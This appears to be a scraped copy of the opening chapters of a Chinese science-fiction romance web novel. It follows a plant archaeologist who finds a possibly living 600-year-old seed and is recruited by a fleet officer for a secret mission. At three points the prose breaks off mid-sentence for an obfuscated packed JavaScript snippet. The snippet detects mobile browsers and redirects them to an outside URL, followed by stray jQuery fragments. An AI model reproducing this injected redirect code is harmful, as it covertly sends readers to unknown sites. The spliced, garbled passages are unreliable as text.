《星际植物学家在考古》 1. 那位北辰 宇宙无垠,探索域外星系的星云联邦舰队已开拔三年整。 联邦改变了闭关锁国的基本策略,以玉议长为首的实干派激浊扬清、还寰宇一片清朗的事业也初见成效。 属于一个崭新时代的大幕已然开启。 三光年外的光景合着整个星云联邦翻天覆地的巨变汇入了首都星,这是联邦的大脑,也是世界瞩目的中心。 北辰星环忽然停下了匆忙的脚步,抬头望了一眼镶在中央科学院黑瓦飞檐边的那轮太阳,深吸了一口气。 真是久违了啊。 首都星四季如春,连这恒星太阳的光辉都格外温暖。她尤爱首都星的太阳,能将她从内到外都烫个遍。 北辰星环轻轻笑了笑,顺着人群,终于再次迈入中央科学院宏伟的大门。 “导儿,北辰老师,你不是刚出差回来吗?不用倒时差休息休息?” 北辰星环刚提起工作牌刷开实验室的门禁,肩膀就被拍了一下。 还能是谁。 北辰星环颇有些无奈地回头,只见黑瞳黑发年轻学生有些气喘吁吁地笑着望向她,恐怕是为了赶上她,刚经过一路小跑。北辰星环当然也没错过这姑娘眼中挪揄的微光。 “这次不过一个月时间,崇文星也是标准时,不用倒什么时差。” 北辰星环边说边推开实验室的门,环顾着这不算太大但胜在整洁的实验室。 她状似满意地点点头,然后转身扬起一个笑颜,用一种极其温和的语气说道:“我是没你那么热爱工作,那么,小欢,我亲爱的博士生,说说你这一个月的研究进展吧。” 北辰星环刻意加重的“热爱”两字在邵欢耳中有那么点咬牙切齿,她过于温和的态度以及作为“导师”的血脉压制也令邵欢有些脚底打滑,不过…… “导儿,环环,姐,一个月没见,你能不能先客套一下敷衍一下,然后再问研究进展啊!我这、也得准备准备啊!” 看着自己的学生兼闺蜜撒起娇的样子,北辰星环了然又习惯地笑得更明显了一些。 她确是玩笑话,但也没多少水分。她很清楚邵欢确实是个醉心学术研究的“热爱工作”的称职的研究者,她根本没有想过这一个月没有导师督促,邵欢会不会摸鱼划水消极怠工这种假设。 邵家人可不都是这般,真的没法改,旁人也没法学。 “无妨,你慢慢整理,你通讯里陆陆续续说的那些我都清楚了,”北辰星环压低声音,才继续说,“关键是那个不能在通讯里提的课题。” 邵欢敛了神色,郑重地点了点头。 “北辰主任,北辰主任!您是不是开会回来了啊!” 实验室门旁的扩音设备响了,一道满怀期待与欣喜的中年男人的声音打破了实验室中有些凝重的气氛。 北辰星环与邵欢非常默契地看了眼门,然后交换了个无奈的眼神。 得,又是隔壁异植生理学研究室的王主任,他还是一如既往的消息灵通。 邵欢三步并作两步上前开了门,并微微躬身喊了声“王主任”。 一头斑白黑发的王主任连连捣头,也微微弓起瘦削的身板和蔼念着:“邵欢你好啊”。 北辰星环这才带着不过分恭谨的态度发声:“王主任您好,我刚到呢。” 王主任望向北辰星环,仔仔细细看了她几眼,接着带着些痛惜地皱了眉,“哎呀,都瘦了,舟车劳顿,真是辛苦了。” 这就是邵欢想要的“客套一下”了。王主任急匆匆跑来,当然不是来寒暄的,北辰星环心知肚明。 “没事没事。”北辰星环摆摆手,然后抬手向隔壁研究室的方向做了个“请”的动作。 王主任果然就带着些不好意思地挠了挠头,“哎……确实是又有个技术难题要请您‘会诊’一下,北辰主任,请。” 迈出实验室的门,北辰星环回首对倚在门边的邵欢点了点头,后者心领神会,朝着她狠狠握了个拳。 北辰星环目光扫过实验室上方那不那么显眼的“植物考古学研究室”铭牌的时候,多停留了几毫秒的时间。 眼神中带着几分温度,又有一些庆幸。 只一个转弯便豁然开朗。 隔壁的研究室有一条写着“异植生理学研究室”行书大字并有“周问知”亲笔签名的明亮甬道,透过一扇扇透明的实验室门能看见内里井然有序且价值不菲的实验器械、沉浸在研究中的研究员和学生们,偶尔还能看见一些在培养仓或模拟环境室中生长的古地球植物乃至异植。 尽管听不见里面的声响,研究员们实际上也都轻声细语,可北辰星环就是觉得这是一幅热热闹闹的景象。 这可是中央科学院啊,多少研究者们仰望的圣地,在这里工作自带一种热血澎湃的动力。不是耐得住寂寞的人,可能都没资格在这里出现。 王主任径直引着北辰星环往最大的那个复合开敞式实验室而去,似是怕怠慢了她,路上刻意与她说了几句话。 “对了,北辰主任,还没恭喜您呢,您的研究室通过了所里的科研成果复评,算是终于保住了啊!” 王主任的语气听起来有一种与有荣焉的意味,他确实也是北辰星环学术上的前辈。 北辰星环便带着些笑意地回了句:“王主任,就不说这是两个月前的事情了,您要是真想帮我,支援几个学生来我这儿嘛,邵欢一个人真忙不过来啊。” 王主任镜片后的眼睛一转,“学生那可……那可得找教学部……哎呀,两个月前我正好去南区考察了,那时没能当面对你表示祝贺嘛。” 北辰星环毫不意外,轻扶了一下镜框,不卑不亢地引开了话题,“那就谢谢您了。王主任,这次是遇到了什么问题?您先大致讲讲吧?” 说到专业问题上了,没话找话的王主任终于开始侃侃而谈:“我们最近在研究拓荒军域外舰队新发回的那些未知异植,您知道的。从其中一种异植上我们发现了一种新的植物蛋白,这方面您才是专家啊,就想请您来看看……” 王主任引着北辰星环路过复合实验室的几个站满了学生的实验台,往那片如同原始森林一般的巨型模拟环境室走去。 有几个好奇的学生手中动作不停,却交头接耳了起来。 “那就是传说中的那位北辰吗?隔壁研究室那个?” “当然啊,这银头发蓝眼睛的,特征太明显了,就差脑门刻‘北辰’两个字了好嘛。” “语气尊重点,那可是周问知周老的关门弟子啊,爱徒,高徒!” “是啊……泰斗的学生,我们仰望都仰望不到的那种……真羡慕……” “还是另一位生物基因学巨擘的孙女呢,你敢想象?” “我读过她的那篇植物蛋白的论文,叫……《植物蛋白骨架结构的可塑性及应用》,对,《科技进展》杂志上的。” “对对对,我老师给我的必读清单上就有。那真的是创见啊!我这辈子要是有这样的研究成果,真也值了。” “真是可惜了,她怎么搞那个什么植物考古去了。” “可不是,就不说咱都星际大迁徙了,古地球的文物脉络清晰、共享保存,这已经是星际时代了,联邦建邦也就三百多年,有什么好考古的哦。” “真是谢谢您了,北辰主任。” “没事没事。” 目送一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376719|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要送她回研究室的王主任回到那有着行书大字、明亮甬道和无数实验室的隔壁,北辰星环终于再一次踏入自己的小小的实验室。 倚在窗边端着光脑的邵欢一骨碌站了起来,“导儿,您可终于回来了,这都快到饭点了。不如,吃好午饭我再给你汇报?” 见北辰星环多扫了几眼她开启状态的光脑,邵欢嘿嘿一笑,给自己找补道:“午休时间嘛,我‘稍微’休息一下,不过分对吧。导儿您放心,工作时间我绝对全情投入的!” 北辰星环当然了解邵欢,对她可以放一百万个心。 “慌什么,我还不知道你,又是在和你的纸片人交流感情了吧,没事,继续玩吧。”北辰星环走到自己的工作桌后,将自己陷进舒适的座椅里,发出一声喟叹。 一个上午了,终于坐下了。 “对了,我刚在隔壁看了一圈我们借种在那儿的那些实验样本,都长得挺好的,你养花养草技术果然是一流的啊。” 重新端起光脑的邵欢头也不抬,只骄傲地回了句:“那可不,没这手我还真不好意思拜入你的门下呢。” 这不就是明晃晃地讽刺她是植物杀手,北辰星环沉默了。 邵欢没想太多,自顾自继续说道:“姐,环环,我真心推荐你试玩一下这款女性向恋爱互动游戏,阴阴属性的——就是主控人物自我女性认知、女性外表、且性向为男的——我觉得这几个可攻略人物也是你会喜欢的那几款,句句回应的霸道少将、风花雪月的温润公子、青梅竹马的生物学家,真的老香了。” 北辰星环硬生生抬起了头,“不是,欢啊,霸道少将就算了,生物学家?你确定你休息时间还想看那些熟悉的专有名词吗?” 邵欢毫不犹豫立刻回复:“有什么关系,他专攻异兽行为学,我搞的是植物考古学,完全两个方向嘛,无所谓。” 异兽行为学……北辰星环扶额,她脑中只浮现了她那位堂哥北辰星夜的模样。 利落的银发,剔透的灰蓝眸,一身白大褂被肌肉撑起,解开的领口似乎露出了几丝风流。 北辰星环赶快抑制了自己的想象。 邵欢难道喜欢这款吗? “环环,他们嚼舌根,说什么你走不出那谁谁的阴霾,我当然知道你只是单纯不想谈恋爱,那你玩玩这游戏调剂调剂不也挺好。真的,感情有个寄托,就不是无根之木了。” 邵欢说到最后忽然意识到了什么,带着些惶恐地抬头瞥了眼北辰星环。 见北辰星环似毫无触动地继续陷在座椅里,邵欢心中却警铃大作。 真是的,真是该死,她怎么哪壶不开提哪壶! 邵欢仓皇间站起身,正瞥见楼下被紫藤萝花架掩抑的人行道上似乎闪过一个黑色军装的挺拔身影。 邵欢嘴巴比脑子更快,直接喊了声:“环环,快来看!” 北辰星环不明就里地走到窗边向下一望。 此时阴云弥漫了天空,正下着淅淅沥沥的雨,雨丝连接成帘将这片世界笼罩在朦胧烟云中。 紫藤萝花却开得正好,深深浅浅的浓厚色彩被晕染开去,鲜妍地滴得出水。 雨帘晕在那纯黑的军帽上却失了踪迹,这单调单纯的黑如同无垠的太空,又如同黑洞,能湮灭一切光彩,是最霸道的颜色。 一只骨节分明的手覆上帽檐,修长,具有力量感,每个关节都在蓄势待发般绷紧,紧张得恍若在拉开一张射断雨帘的弓。 然后他抬起了帽檐,一双过于清冽的碧色眼眸穿越了光年。 北辰星环只觉从这高楼坠落,风雨呼啸,最后重重摔在了一汪澄碧的清潭中。 碎了满池的紫藤萝花。 2. 我记起来了! “呀,竟然是他。” 邵欢小声的念叨将北辰星环拉回了现实世界。 她瞥了邵欢一眼,还好后者没发现她的失态表现,北辰星环便故作严肃地问道:“怎么,叫我来看他?你以为是谁?” 邵欢有些尴尬地一笑,眼睛骨碌骨碌一转,终于找到了借口,“哎呀,我以为是伊万少校,我以为他又要来给我们传达什么‘军长的指示’了。” “伊万?”北辰星环笑着念了一遍这个名字。 邵欢听得出看得出北辰星环满是怀疑、满是不信。 这借口确实太过拙劣,拓荒军中来中央科学院最勤快的除了那位鼎鼎大名的拓荒军副军长兼中央科学院研究员,恐怕就是这位伊万·托尔斯基少校了——现任拓荒军第五师勘探部部长。 邵欢他们与伊万少校有业务交集,不算太过熟稔,但至少见过多次,样貌身形都熟悉,那是几乎不会认错的。而且伊万少校多是来赴会讨论的,总会带三五个科学官同行,并不会孑然一人。 可眼下这位拓荒军军官的肩章虽同样是由一条粗金色星轨、一条细银色舰轨,以及一颗代表着星舰的银色三角标志组成,即,他亦是一位少校,但很显然,他不是伊万少校。 从背影看都绝不是伊万少校。 邵欢只能破釜沉舟。 “好吧好吧,我坦白,我以为我那霸道少将活了。” 邵欢顶着一脸“你能把我怎样”的嚣张表情,双手一摊。 北辰星环听着这荒诞的言论不由哑然失笑。 “你啊你,”北辰星环无奈地摇了摇头,“再帅能帅过你那纸片人?我可不信。” 邵欢嘿嘿一笑,她知道这件事就算揭过去了,心中舒了一口气。前一句失言……应该也揭过去了吧…… 不过北辰星环自己都不得不承认,同为制服,但这挺括的军装就是比他们的实验服白大褂来得好看啊……真是没得比…… 北辰星环看似随意地往楼下再一望,那碧色眼眸的拓荒军少校已杳无踪影了。 邵欢此时却尤为耳聪目明,直接大大咧咧喊了一嗓子:“环环,我承认这联邦军人真是不一样,眼神都能杀人,但你别慌,这是单向玻璃,他看不见我们的,就是习惯性侦察扫视。” 北辰星环压下那种如遭电击的回味,翻了个真情实意的白眼,“我没做亏心事,为什么要慌。况且联邦军人卫国戍边、深入未知,你这个思想不对,我们要对他们满怀敬意。” 邵欢连连捣头称是。 北辰星环抬头眺望那烟雨朦胧的天际,却又接着淡淡说了句:“我认识他,准确地说,我知道他。” “他?刚刚那位少校?他肯定没来过中央科学院,不过,你这么一说……”邵欢摸着下巴作沉思状片刻,“那虹膜颜色不常见,气质也有点特别……哎,我好像有点印象。是在哪里见过呢……” 看着邵欢苦思冥想的样子,北辰星环使了个坏,她并不打算仁慈地点醒自己可爱的学生。 “走吧,去食堂,你边吃饭边慢慢回忆。要是想要提示,你尽管问我。”当然,要是心中有事食之无味,那也不能怪她了哦。 这是对遇到问题不解决誓不罢休、一生要强的研究者们的最大折磨。 埋着头的邵欢亦步亦趋跟上北辰星环的矫健步伐,口中还不忘念叨着“不不不,不要提示,我自己想”。 植物考古学研究室有那么一些交叉学科的性质,出于学科交流融合的角度,便被周老安排设立在囊括生物学科各个分支的这栋大楼中。 同时,这栋大楼也是中央科学院的门面主楼。 用完午饭的北辰星环带着邵欢与几位研究员和研究生客气又疏离地打过招呼,一起走入透明高分子材料的观光穿梭梯。 北辰星环与邵欢并没有人情交际的兴致,同厢的研究员即便有心搭讪,却也只能在一旁恭恭敬敬站着。 中央科学院向来有自由平等的风气,从不以职位年龄师承出身论高低,然而学术能力是绝对的硬通货。与其他研究部、研究室的主任相比,北辰星环确实年轻,可并没有人会发出一点质疑的声音。 毕竟,她能撑起一整个研究室。 “哎……”邵欢又下意识地叹了一口气。 北辰星环终于忍不住了,“欢啊,这是你第382次叹气了,不应该啊,以你的记忆力,你肯定记得起来的啊。你是不是又熬夜玩游戏?我不拦你了,你还是熬夜做实验吧。” “不是吧,导儿,382次?你竟然还数着数吗?”邵欢抓的重点真是很难评价。 “胡诌的,”北辰星环心不跳脸不红,“要不要给你点提示算了?” “拓荒军军官罢了,在这中央科学院也并不是稀客,没什么特别的。我觉得,并不值得你这么苦思冥想。” 北辰星环的话说得板正又带着些倨傲,旁人听来只会觉得身为研究者的自信油然而生,可邵欢听着总觉得这话有点别扭。 好像欲盖弥彰。 “导儿,你真是不关心时事,玉议长签发域外探索令后拓荒军那可如坐星舰一样噌噌噌地升级为潜力股了啊,都和‘联邦门面’仪仗军一样吃香了,形势一片大好呢。” 北辰星环觉得这话没毛病,这一辈的拓荒军官兵们真是赶上好时节了,不枉筚路蓝缕、以命求真的那些前辈们的努力了…… 即便日常并未显露出来,但北辰星环其实对拓荒军是有万分的好感的。她觉得自己算得上最感激、最敬仰那位伟大的副军长的人之一,她永远感谢她关于宇宙射线的那些研究。 因为北辰星环是一个曾在北区星域亲身感受过如潮异兽残暴掠地的人。 “哎……哎——哎?” 邵欢忽然用力扯了一把北辰星环的衣袖,手指着某一个方向。 北辰星环顺势一望,正是那一片片一排排肃穆寂静的黑曜石岩碑。纯澈浓郁的黑色中闪烁着点点星光,那是先辈的智慧在闪烁。 这是占据了中央科学院主楼二层重要位置的历史长廊,是瞻仰缅怀先贤之处。 这也是北辰星环与邵欢经常会去的地方,极度适宜静心,甚至还有激发灵感的妙处。 所以这当然没什么好让邵欢如此激动的。 北辰星环扶了扶眼镜,上前几步再仔细一凝视。 那靠一身纯黑军装彻底融入这肃穆气氛之中的还能是谁?不,不仅仅靠衣装。 尽管看不真切,可那摘帽行注目礼的男军官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376720|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颔首的弧度太过完美,下颌的曲线连着挺拔的腰身,活像一棵长在英烈冢旁的苍劲松柏。 而那一双凌厉的眸子沉静微敛,便荡开了一首无比悠扬圣洁的管风琴挽歌。 “是他!我记起来了!他代表首都军校队参加过五校联赛,那届我们一起看的啊!” 邵乐一脸求表扬的表情瞅着北辰星环,她激动地捧着北辰星环的手臂差点都要蹦起来了,因着厢梯中还有他人,她只能极力克制。 北辰星环却只凝视着那少校军官沉重抬起的手。 这动作似力逾千钧,实在太过缓慢,无限拉长了呼吸。 终于,他将手轻轻贴在了面前的黑曜石碑上。 像是一种叹息。 北辰星环似乎能感觉到心间有一种压抑的过分沉重,他似乎是在痛。 然后他抬起了头,精准地望向了观光穿梭梯的方向。不是扫视,不是侦察。 是对视。 拉满的弓再次射出斩断雨帘的一箭。 可这次是深不见底的幽深碧池,深藏在隐秘的异星深处。 北辰星环选择避开了这道莫测又离奇的目光,她淡然地回望满脸期待的邵欢,勾了勾唇角,说道:“恭喜你,答对了。” 邵欢心满意足了,无比舒畅,只觉恍若飘在云端。 谁懂,解决问题是研究者们的最大动力! 午休也不休了,纸片人也靠边站了。一回到实验室,邵欢就神神秘秘地拉着北辰星环坐在了她的工作桌后,谨慎地拉上了窗帘,又开启了自家研发的防窥听设备,最终才打开了工作光屏。 “这就是我这一个月的研究成果。” 懒洋洋陷在座椅中的北辰星环瞥了一眼光屏,一下了坐正了身体。 光屏中是一粒具翅的心形种子,由无数线条构成,透视了内部的各种细小结构。这是邵欢人工并结合智能辅助构造的基于碳成像断层扫描数据的重绘三维模型,这是她在不破坏种子外部结构的基础上能做到的最精细的内部结构模拟了。 北辰星环抬手将光屏中的三维模型旋转、放大,肉质层、石质层,胚根、胚芽、子叶、胚乳,她仔细观察着一切感兴趣的地方,不放过查看原始数据值,还时不时点开其他成像序列对比观察。 她的速度太快,几乎满屏残影,旁人根本跟不上这般节奏。 邵欢习以为常,偶尔解释几句,但大部分时间只让北辰星环自己静静观察。她其实紧张又忐忑,就怕自己遗漏了什么重要数据,等待着北辰星环的审判。 随着北辰星环最终停下手中的动作,将这种子的三维模型恢复到最初状态,分毫不差,邵欢的紧张感一度达到顶峰。 北辰星环往椅背上一靠,望向身侧的邵欢。 “那么,你的初步结论是……?” 面对导师的灵魂拷问,邵欢觉得自己就像一个烧开的水壶,气血上涌。还好她准备充分。 邵欢盯着北辰星环那过于剔透的蓝色眼眸,一个字一个字无比郑重地答道—— “这是活的种子。” 活的,埋了六百年的种子。 北辰星环凝望着邵欢,亦郑重其事地缓缓点了点头。 “我们种种看。” 3. 公事公办 “导儿,这能行吗?在黄土里埋了六百年了哎……” 北辰星环沉默不语。 “六百年就算了,但凭借这些种子结合之前挖出的那些化石,从形态学上来看,这种植物大概率是古地球上石炭纪的科达树的近亲。” “尽管古地球那科达树只有碳化化石留存,无法进行基因溯源交叉分析——可、可科达树那就是三亿年前的事了啊。” 北辰星环还是没有表态,只略带兴味地继续注视着越来越激动的邵欢。 “旁的演化早期的异星倒还有可能,但咱考古挖掘那地方,导儿,不需要我说,你知道从正常演变来推是不该有这种早期植物的啊,这真的——匪夷所思。” 北辰星环双手交握,微微颔首。 “你说的都对,小欢,所以,我们才更要试着培育一下。” 北辰星环与邵欢久久对视,北辰星夜眼中的邵欢的脸因为兴奋而慢慢红润、她的眼睛也越来越亮。 这会是一个非常轰动的发现的。 “导儿,环环,姐,对对对,太对了,”邵欢激动地站了起来,开始踱步。 “我得想想,嗯……就是可惜标本太过珍贵,每一枚都不能浪费,我们这次不能预先解剖一枚进行大体观察乃至细胞、组织实验,得仔细琢磨琢磨怎么设定这个模拟环境。” “没错没错,这样或许可以……”邵欢用力地合掌一击。 说干就干,北辰星环与邵欢开始鏖战眼下的难题。 两人或坐或站,将植物异植数据库、既往文献等等中的各种数据飞得满天都是,一个又一个仿生试验序列开始推演,一套又一套模拟环境方案推翻又建立。 她们讨论得无比激烈。 “导儿,我觉得这个参数这样设定不行,我种植经验丰富,你信我。” 邵欢在北辰星环的方案上涂涂画画,北辰星环皱着眉仔细思索,并没有面露不虞,或是制止邵欢的动作。 “可以可以,还有这个。高氧环境,我们千万小心,要注意消防安全。”北辰星环提笔也补了一条上去。 “导儿导儿,你通讯响了。” 北辰星环抬腕一看光脑,竟然是中央科学院的罗兰院长打来的语音通讯请求。 与邵欢轻声说了句“是院长”,北辰星环才外放连通了通讯。 “北辰主任啊,不好意思打扰了,你在忙吗?”罗兰院长铿锵有力丝毫不显老态的声音通过光脑传出。 邵欢给北辰星环使了个眼神,北辰星环皱皱眉眨眨眼,最终还是回复道:“罗兰院长您好,我现在确实正在进行一个实验,有些走不开。您有事找我吗?我可以——大概过一刻钟,再来您办公室吗?” 北辰星环将罗兰院长的百步都预判了,而她一气呵成的长句也没有给罗兰院长留出气口。 合情合理,从理由到解决方案都完完整整。 “哦……这样啊,好好好,那祝你们实验顺利。”罗兰院长带着些笑意挂断了通讯。 邵欢恨铁不成钢地望了眼北辰星环,后者却不以为意地歪了歪头。 “环环,你怎么知道院长是找你去办公室谈事啊?”邵欢还是忍不住好奇地问了句。 北辰星环便给邵欢分析了一通:“院长很忙没那么闲的,通讯找我那肯定是确实有事。院长也不是惯常寒暄的人,会问我‘在忙吗’,就说明这件事不是一两句话就能说完的,那必定就要去她的办公室详谈了。” “有理有据,”邵欢对北辰星环举了个大拇指,“不过院长能有什么事啊,研究室的复评好不容易通过了,我最近也没闯什么祸吧?” 北辰星环摇摇头,“这我真猜不到,我想总是关于我们研究室的事情吧。” 邵欢点点头,露出挪揄的微笑,“行吧——当然,会让院长等一等的,估计也只有你了。” “那我们还不赶快敲定方案?就一刻钟时间哦。”北辰星环端起了个假笑。 说一刻钟就一刻钟。 北辰星环准时站在院长办公室外敲了敲门。 “请进。” 院长办公室与中央科学院的整体风格一致,金属质感的棱角与温润古韵的装饰碰撞,简约又富有科技感的黑白灰在这里交融。 端坐在黑檀木桌案后的伊娃·罗兰院长对她微笑颔首,那亮丽的白金色短发微微闪光。 可桌案前客座中竟还有另一人端坐,那人亦回首一望,身躯却仍挺立如松。 北辰星环脚步一顿。 您也没说……竟然还有他在…… 北辰星环此时此刻才终于有些后悔于自己的举动——倒不是因为让院长等待,而是因为让这位拓荒军少校枯坐了。 自己人无所谓,牵涉到朋友单位就有点尴尬了。 但她毕竟也代表着中央科学院,北辰星环迅速调整了心态与姿态,走上前去,喊了声“院长好”,又不卑不亢地朝着另一人微微颔首,念了句“姚少校好”。 “坐吧坐吧,”罗兰院长满是和蔼地对北辰星环摆了摆手,然后转向北辰星环身侧客座,“看来不用我介绍了呢,姚少校,需要为您介绍一下我们植物考古学研究室的北辰主任吗?” 正襟危坐、双手放在膝头、板正如机器人的姚少校微微摇头,“不必了,我已了解。” 罗兰院长仍保持着微笑恰好的表情,“那甚好,我们就省去介绍这个环节了,直接切入主题吧。” 北辰星环总觉得院长是在点她拖延时间这件事。 “是,院长。我来说吧。” 姚少校比北辰星环想象得主动许多,他不带任何情感地侧首望着近旁的北辰星环,用不带任何感情的语气展开他的叙述。 “我部最近接收到情报,某区某异星出现了一种可能未登记在已知异植数据库中的未知异植,危险系数较高,恐引发不可控的危机。我们需要一位有经验的异植方面的专家协助,并配合执行任务。北辰主任,请问您是否愿意加入这次行动?” 他的声音确如他的这双眼睛一般,深沉如潭,又带着如同回声的涟漪。而这样的嗓音,在公事公办、严肃无情的时候,便会显得愈加郑重冷静。 北辰星环自然也公事公办、认真思索了起来。此刻,便不会觉得这双眼睛有多么凌厉莫测了。 他的这个任务描述其实很不清不楚,不过北辰星环能理解,这是保密任务的要求。可是……她还算哪门子的“异植方面的专家”呢? 她是植物考古学研究室的主任啊。 似感觉到北辰星环有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376721|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些犹豫,姚少校凝视着北辰星环,目光多了些真切,又认真地补充道:“我们一定会保障您的安全的。” 她不是担心什么安全问题……当然性命是一切后续的根基。她自认在异植方面不如科学官专业,且还有那迫在眉睫的课题研究需要日日关注。 这种协助行动是双向选择的,她完全可以拒绝。不过……北辰星环抬手扶了一下镜框,顺势往院长的方向瞥了眼。 姚少校直接找了院长,院长又叫她来,北辰星环觉得院长认为她该接受这个邀请。 果然罗兰院长含笑对她轻轻点头。 北辰星环再一思索,终于抬头迎上了姚少校沉默却始终追随的目光。 “好,我愿意。” “北辰主任。” 确认完必要信息,北辰星环退出了院长办公室,正步履匆匆打算回实验室交代一番,姚少校却叫住了她。 北辰星环止步回望,光洁敞亮的过道中,那长身鹤立的黑衣军官朝着她迈步上前。 “请问我们见过吗?” 北辰星环将这几个字反复琢磨了几遍,才想通他是就她轻易地叫出他的姓氏的行为而发出此问。 指挥说的话就是要多绕几个弯,真是语言的艺术。 北辰星环没有一丝犹豫地摇头,“未曾。” 她朝着来人微微颔首示意,接着就毫不拖泥带水地转身离开。 在他一直追随的澄碧悠长目光中远去。 “所以说是那个姚定坤点名要你去协助一个异植调查的行动?你还是以异植领域专家的身份参与?而且明天一早就要出发,要耗费多久时间也无法预计,你昨天才刚回来哎?”邵欢三连问总结前情。 北辰星环想了想,觉得没毛病,点了点头。 “没记错的话,这位姚定坤姚少校堪称拓荒军的‘明日之星’啊,瑾军长可是破格提拔他为‘齐物’星舰的舰长啊。” 北辰星环继续点头,“没错,瑾军长确实多次提到过他,应确实是器重的。” 邵欢蹙眉沉思,“这就很神奇啊。首先,他怎么知道你的?且怎么会觉得你能胜任?其次,这种事情一般叫首席科学官来延请、或者直接发一张邀请协助令就够了哎。” 北辰星环垂眸扶住镜框,“我的能力……也没有那么不堪……” 邵欢连连摆手,“我收回这句话,导儿您肯定是声名远播的。不过他身为舰长却特地来这儿跑一趟,确实是太重视了点呢。” 北辰星环双手一摊,“那我就不知道了,大概是因为行程太赶,我比较好说话?” 邵欢笑出了声,“也有可能是因为,别人拒绝了他。” 与邵欢布置好所有任务与各种注意点,俨然拖班的北辰星环被驱逐回了自己的住所。 照邵欢的话就是——“你明天天不亮就要出行,总还是要回去准备准备的。” 可有什么好准备的呢? 北辰星环从玄关柜中取出昨晚才搬回来的便携行李箱,只再放了两本纸质书进去。 然后她将唱机的唱针轻轻落在一张黑胶密纹唱片上,再从酒柜倒了一小杯青梅酒就在落地窗旁软椅中坐下,拾起小矮桌上的那本诗集,翻到夹着血红槭树叶脉书签的那一页,静静地读了起来。 4. 齐物 北辰星环的住所非常简约,除了她喜欢的各色松软的座椅、辛苦收集的黑胶唱片与纸质书,就近乎一个随时可以跑路的暂居地了。 北辰星环指下翻了几页,咏叹调正播放到低音提琴的深沉独奏,一个轻缓的女声悠悠响起。 “亲爱的主人,希望没有打扰到您的雅兴,您的母亲发来了一封请柬,请问您要查阅吗?” 北辰星环头也未抬,淡淡拒了智能管家的问话。 “不必了,也无需回复。” 进入这个房间后,智能辅助就会接管她的光脑的部分功能。这是北辰星环给自己设定的一种免打扰模式。 咏叹调骤然变得哀怨了起来,她在这一页上也停留了过久的时间。 智能管家没有回答她,智能管家在用非暴力的方式表达不合作。 “好吧,重华,是什么请柬?” 智能管家重华的声音非常人性化地高扬轻快了一些。 “是您的堂兄北辰星辉的婚礼请柬,举办地点在北极星北辰府邸,时间在四个月后。” 北辰星环淡淡“哦”了声,“那回复吧,我不去。” “亲爱的主人,时间还早,您不用急着回复的,可以再考虑考虑呢。” “回绝吧。” 北辰星环终于翻过了这一页。 她的声音没有多少情感,肢体动作也无甚差异,可这样的语气却是最果决、最毫无商量余地的。 智能管家重华只能如叹息般执行了主人的指令。 “如您所愿。” 晨光熹微。 北辰星环乘坐从军事机场出发的穿梭艇直接跃升到了首都星的大气层之外,恒星太阳的光辉镶嵌在晨昏交界线上,如同一轮顶珠冠冕,缓缓照亮了首都星的中央区。 她带着些留恋地再望了一眼美丽的首都星与炽热的太阳,就在四位拓荒军官兵的护送下进入了首都星近太空领地的一个星舰军港,换乘了另一艘登陆艇。 来往官兵穿着各色制服,匆忙又井然有序。身着黑色衬衫常服的北辰星环有那么些显眼,又有那么些毫无存在感。 舷窗外的景致从被蓝绿夹杂的行星填满变成了空旷无物的漆黑太空,北辰星环脑海中再次浮现了无数咏叹苍穹浩宇的诗句。 “无穷宇宙,人是一粟太仓中。” 无论看多少次,这种极致的景色总能摇动她的心旌。 “北辰主任,我们快到了。” 一位拓荒军少尉军官友善地提醒了她一声。 大概这位少尉认为北辰星环是第一次随军执行任务,一路上便特别照顾她,不厌其烦地提醒她舰艇穿梭的各种事宜,也很是用心地为她介绍了关于军港等等的一些不涉密信息。 北辰星环便往外望去,于是她看见舷窗外出现了有着内敛银色光泽的庞大无匹的人造物。 这是轻量级星舰的外侧舰壁,每一块舰壁壳都远比她乘坐的登陆艇来得更大,可这些舰壁材料之间看不出任何明显的接缝痕迹,恍若连接成了一整片。 这是一艘跨时代的拥有最新一代“白焰”曲率加速引擎、最新升级的舰壁材料及龙骨结构的轻量级星舰。 她叫“齐物”。 “如求得其情与不得,无益损乎其真”的“齐物”。 登陆艇飞跃过“齐物”,来到舰首舰桥处那肉眼视野接近270度的巨大舷窗之前,似是要让北辰星环一窥“齐物”的全貌。 此时舰首舷窗未开启单向隐蔽模式,北辰星环隐隐约约能看见舰桥上的操作台与座席,还有已经进入工作状态的轮值军官们。整艘星舰整装待发,只待舰长的一个指令。 登陆艇行至与舰首的最近点,那一道站在最前方座席区域的挺拔身影尤为醒目。 她其实不晚,只是他到得更早。或许昨日从中央科学院出来之后,他就直接来这星舰上了吧。 